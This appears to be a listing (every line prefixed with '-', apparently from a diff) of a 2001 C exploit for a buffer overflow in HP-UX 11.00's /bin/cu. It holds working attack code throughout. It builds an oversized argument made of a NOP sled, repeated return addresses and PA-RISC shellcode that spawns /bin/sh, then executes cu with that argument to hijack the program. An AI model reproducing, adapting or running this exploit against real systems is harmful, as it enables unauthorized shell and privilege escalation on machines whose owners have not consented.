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- /*
- * Copyright (c) 2001 Zorgon
- * All Rights Reserved
- * The copyright notice above does not evidence any
- * actual or intended publication of such source code.
- *
- * HP-UX /bin/cu exploit.
- * Tested on HP-UX 11.00
- * zorgon@antionline.org (http://www.nightbird.free.fr)
- *
- */
-
- #include <stdio.h>
- #include <stdlib.h>
- #include <sys/types.h>
- #include <unistd.h>
-
- #define LEN 9778
- #define HPPA_NOP 0x0b390280
- #define RET 0x7f7eb010
- #define OFFSET 1200 /* it works for me */
-
- u_char hppa_shellcode[] = /* K2 <ktwo@ktwo.ca> shellcode */
- "\xe8\x3f\x1f\xfd\x08\x21\x02\x80\x34\x02\x01\x02\x08\x41\x04\x02\x60\x40"
- "\x01\x62\xb4\x5a\x01\x54\x0b\x39\x02\x99\x0b\x18\x02\x98\x34\x16\x04\xbe"
- "\x20\x20\x08\x01\xe4\x20\xe0\x08\x96\xd6\x05\x34\xde\xad\xca\xfe/bin/sh\xff";
-
- int
- main(int argc , char **argv){
- char buffer[LEN+8];
- int i;
- long retaddr = RET;
- int offset = OFFSET;
-
- if(argc>1) offset = atoi(argv[1]);
- for (i=0;i<LEN;i+=4)
- *(long *)&buffer[i] = retaddr + offset;
-
- for (i=0;i<(LEN-strlen(hppa_shellcode)-50);i++)
- *(buffer+i) = HPPA_NOP;
-
- memcpy(buffer+i,hppa_shellcode,strlen(hppa_shellcode));
- fprintf(stderr, "HP-UX 11.00 /bin/cu exploit\n");
- fprintf(stderr, "Copyright (c) 2001 Zorgon\n");
- fprintf(stderr, "[return address = %x] [offset = %d] [buffer size = %d]\n", retaddr + offset, offset, strlen(buffer));
-
- execl("/bin/cu","cu","-l",buffer,0);
- }
- /* www.hack.co.za [13 January 2001]*/